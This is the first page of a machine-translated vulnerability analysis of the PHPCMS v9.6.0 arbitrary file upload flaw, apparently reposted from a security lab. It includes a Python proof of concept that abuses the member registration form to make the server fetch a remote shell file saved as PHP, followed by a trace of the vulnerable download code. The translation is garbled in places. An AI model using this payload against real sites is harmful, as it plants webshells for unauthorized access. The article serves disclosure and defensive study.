Lucene search

K
myhack58佚名MYHACK58:62201785218
HistoryApr 13, 2017 - 12:00 a.m.

PHPCMS v9. 6. 0 arbitrary file upload vulnerability analysis-vulnerability warning-the black bar safety net

2017-04-1300:00:00
佚名
www.myhack58.com
3449

Author: p0wd3r (know Chong Yu 404 security lab) Date: 2017-04-12

0x00 vulnerability overview

Vulnerability description

A few days ago phpcms v9. 6 arbitrary file upload vulnerability caused by a safety ring hot, by the vulnerability the attacker may be in the unauthorized case any file is uploaded, the impact should not be underestimated. phpcms official today released a 9. 6. 1 version, of vulnerability is a patch to fix.

Vulnerability

Arbitrary file upload

0x01 vulnerability reproduction

This article from the PoC perspective, the reverse reduction of the vulnerability process, if have what wrong place, also hope you a lot of advice.

First let’s look at a simplified PoC of:

import re
import requests

def poc(url):
u = ‘{}/index. php? m=member&c=index&a=register&siteid=1’. format(url)
data = {
‘siteid’: ‘1’,
‘modelid’: ‘1’,
‘username’: ‘test’,
‘password’: ‘testxx’,
‘email’: ‘[email protected]’,
‘info[content]’: ‘<img src=“http://url/shell.txt?.php#.jpg”>’,
‘dosubmit’: ‘1’,
}
rep = requests. post(u, data=data)

shell = "
re_result = re. findall(r’<img src>', rep. content)
if len(re_result):
shell = re_result[0]
print shell

You can see the PoC is to initiate a registration request, the corresponding is phpcms/modules/member/index.php in the register function, so we where under the breakpoint, and then use the PoC and turn on dynamic debugging, in obtaining some of the information after the function go to the following location:

! [](/Article/UploadPic/2017-4/2017413111840228. png)

Through the PoC is not difficult to see our payload in $_POST[‘info’], and here for $_POST[‘info’] have been processed, so we need to follow.

In the use of new_html_special_chars for <> after encoding, into the $member_input->get Function, This function is located in caches/caches_model/caches_data/member_input.class.php next function go to the following location:

! [](/Article/UploadPic/2017-4/2017413111841718. png)

Since our payload is info[content], so the call is to the editor function, also in this file:

! [](/Article/UploadPic/2017-4/2017413111841236. png)

The next execution of the function $this->attachment->download function to download, we continue to follow, in phpcms/libs/classes/attachment.class.php in:

function download($field, $value,$watermark = ‘0’,$ext = ‘gif|jpg|jpeg|bmp|png’, $absurl = “, $basehref = “)
{
global $image_d;
$this->att_db = pc_base::load_model(‘attachment_model’);
$upload_url = pc_base::load_config(‘system’,‘upload_url’);
$this->field = $field;
$dir = date(‘Y/md/’);
$uploadpath = $upload_url.$ dir;
$uploaddir = $this->upload_root.$ dir;
$string = new_stripslashes($value);
if(! preg_match_all(”/(href|src)=(["|‘]?) ([^ "’>]+. ($ext))\2/i”, $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, ‘://’) === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, ‘://’) === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$ filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS[‘downloadfiles’][] = $newpath[] = $uploadpath.$ filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$ filename;
$downloadedfile = array(‘filename’=>$filename, ‘filepath’=>$filepath, ‘filesize’=>filesize($newfile), ‘fileext’=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}

Function the first of the $value in the quotation marks were escaped, and then use regex matching:

$ext = ‘gif|jpg|jpeg|bmp|png’;

$string = new_stripslashes($value);
if(! preg_match_all(“/(href|src)=(["|‘]?) ([^ "’>]+. ($ext))\2/i”,$string, $matches)) return $value;

Here the canonical requirements of the input to meet the src/href=url. (gif|jpg|jpeg|bmp|png), our payload ( <img src=http://url/of shell. txt?. php#. jpg>, conform to this format which is why later to add . jpg.

Next, the program use this line of code to remove url in anchor point: $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); and, after processing $remotefileurls the content is as follows:

[1] [2] next